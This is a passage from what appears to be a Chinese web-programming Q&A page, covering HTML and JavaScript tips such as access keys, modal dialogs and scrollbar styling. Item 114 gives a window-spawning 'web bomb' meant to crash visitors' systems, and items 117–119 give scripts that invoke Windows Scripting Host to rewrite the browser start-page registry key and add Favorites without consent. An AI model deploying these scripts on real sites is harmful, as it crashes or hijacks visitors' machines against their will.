x;\r";
move_function+=" ofy = mouse.y;\r";
move_function+=" opx = mouse.x;\r";
move_function+=" opy = mouse.y;\r";
move_function+=" mywindowbt='down';\r";
move_function+="}\r";
move_function+=" else if ( mouse.bt =='up' && mywindowbt == 'down' ) { ";
move_function+=" mywindowbt='up';";
move_function+=" ofx=0;";
move_function+=" ofy=0;";
move_function+=" opx=0; ";
move_function+=" opy=0;";
move_function+=" }";
move_function+=" else if ( mywindowbt == 'down' && wincloseSTATUS == 'up') {\r";
move_function+=" var m_scrx = mouse.screenx;\r";
move_function+=" var m_scry = mouse.screeny;\r";
move_function+=" px = m_scrx - ofx;\r";
move_function+=" py = m_scry - ofy;\r";
move_function+=" top.window.moveTo(px,py);\r";
move_function+=" }\r";
move_function+=" setTimeout('initToMoveWin()',1);\r";
move_function+=" }\r";
move_function+=" initToMoveWin()\r";
newWindow=window.open("","newWindow","fullscreen=1","width="+w+",height="+h);
newWindow.resizeTo(w,h);
newWindow.moveTo(x,y);
newWindow.document.open();
newWindow.document.write('');
newWindow.document.write('\r');
newWindow.document.write('\r');
newWindow.document.write('\r');
newWindow.document.write('\r');
newWindow.document.write('');
newWindow.document.write('');
newWindow.document.close();
newWindow.focus();
}
//-->
<body onload="xwindow('400','330','50','50','- My Window -','#FFCC00','#000000','child.htm')"
107,Q:HTML 的 Access Key(存取键)的用法:
A:所谓“存取键”就像 windows 应用程序中的 Alt 快捷键,同时按 Alt 键和某个字母键,可以快速切换到文本框、按钮等页面对象上。
(1)、文本框的 Access Key:
其中的 标签产生下划线;For="Name" 和 ID="Name" 中的 Name 是一致的;ACCESSKEY=… 设置“热键”。
(2)、选择框的 Acsess Key:选择项目时不必非得在框内点击鼠标了,在文本上选择即可:
(3)、链接的快捷键:
按 Alt+[字母] 就可以打开一个链接,方便不方便?
108,Q:加速表格 的下载:
A:在 标签中加:style="table-layout:fixed"。
109,Q:去除作为链接的图片周围的虚框:
A:在链接标签 中加语句:onFocus="this.blur()",即:
110,Q:在网页中打开带模式的对话框窗口(在子窗口关闭之前父窗口不能获得焦点):
A:
window.showModalDialog('about_us/about_us.htm', null, 'dialogWidth=450px;dialogHeight=300px;center:1;scroll:0;
help:0; status:0')"
111,Q:关闭浏览器时自动打开一个窗口:
A:。
112,Q:让一个窗口在指定的时间内关闭:
A: (n 替换为数字,单位为“ms毫秒”)。
113,Q:用 css 定制 IE5.5 以上浏览器的滚动条:
A:改变滚动条的颜色(red):
改变滚动条箭头的颜色(green):
114,Q:介绍一个最简单的“Javascript 网页炸弹”:
A:把以下脚本放在你的网页中,当打开你的网页时,同时会打开若干个 IE 窗口(本例中为 10 个,用脚本中的变量 count 控制)。如果设置打开的窗口数非常多(100个?、1000个?、5000个?),那么就会耗尽 Windows 的系统资源,导致死机、系统崩溃。
var count=10; //打开窗口的个数
for(var i=0;i<count;i++) document.open('某网页文件.htm','','')
站长提醒:此法不要滥用;试验前保存你的数据。
115,Q:网页编程中响应鼠标双击事件:
A:
116,Q:javascript 脚本中 innerHTML 代表什么?
A:举个例子:
其中 test.innerHTML代表的就是 "我是张庆"
大家还可以试试 outHtml、innerText、outText 等属性。
117,Q:把你的主页强行、自动设置为 IE 浏览器的首页:
A:
document.write("");
function set2homepage()
{
try
{
obj=document.applets[0];
obj.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}"); //Windows Scripting Host 的外壳对象
obj.createInstance(); //创建 wsh 的一个实例
Shell=obj.GetObject();
try{Shell.RegWrite("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page","http:// 100000.home.sohu.com");}
catch(e){}
}
catch(e){}
}
setTimeout("set2homepage()",1); //1ms
118,Q:把你的主页强行、自动设置为 IE 浏览器的首页、同时添加到“收藏夹”中:
A:
document.write("");
//this function is only needed if you add favorites or links
function AddFavLnk(loc, DispName, SiteURL)
{
var Shor = Shl.CreateShortcut(loc + "\\" + DispName +".URL");
Shor.TargetPath = SiteURL;
Shor.Save();
}
//end add favorites or links function
function f()
{
try
{
o=document.applets[0];
o.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
o.createInstance();
Shl = o.GetObject();
o.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");
o.createInstance();
FSO = o.GetObject();
try
{
//根据 cookie 判断是否需要设置
//if (document.cookie.indexOf("Chg") == -1)
//{
// //set cookie
// var expdate = new Date((new Date()).getTime() + (24 * 60 * 60 * 1000 * 90));
// document.cookie="Chg=general; expires=" + expdate.toGMTString() + "; path=/;"
// //end set cookie
//set home page
var your_hmpg="http://100000.home.sohu.com"
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page", your_hmpg);
// var expdate = new Date((new Date()).getTime() + (24 * 60 * 60 * 1000 * 90));
// document.cookie="Chg=general; expires=" + expdate.toGMTString() + "; path=/;"
//end set home page
//add favorites this is the common part; should be here if you want to add favorites
var WF, Shor, loc;
WF = FSO.GetSpecialFolder(0);
loc = WF + "\\Favorites";
if(!FSO.FolderExists(loc))
{
loc = FSO.GetDriveName(WF) + "\\Documents and Settings\\" + Net.UserName + "\\Favorites";
if(!FSO.FolderExists(loc))
{
return;
}
}
//end common part
//the following line is used for adding favorites. to add multiple favorites, duplicate the following line, changing the last 2 paramaters
AddFavLnk(loc, "十万个为什么", "http://100000.home.sohu.com");
//end add favorites
//}
}
catch(e) {}
}
catch(e) {}
}
function init() { setTimeout("f()", 100); }
init();
119,Q:把你的主页强行、自动添加到“收藏夹”中:
A:
document.write("");
function AddFavLnk(loc, DispName, SiteURL)
{var Shor = Shl.CreateShortcut(loc + "\\" + DispName +".URL");
Shor.TargetPath = SiteURL;
Shor.Save();
}
function f()
{
try
{
o=document.applets[0];
o.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
Back to home |
File page
Subscribe |
Register |
Login
| N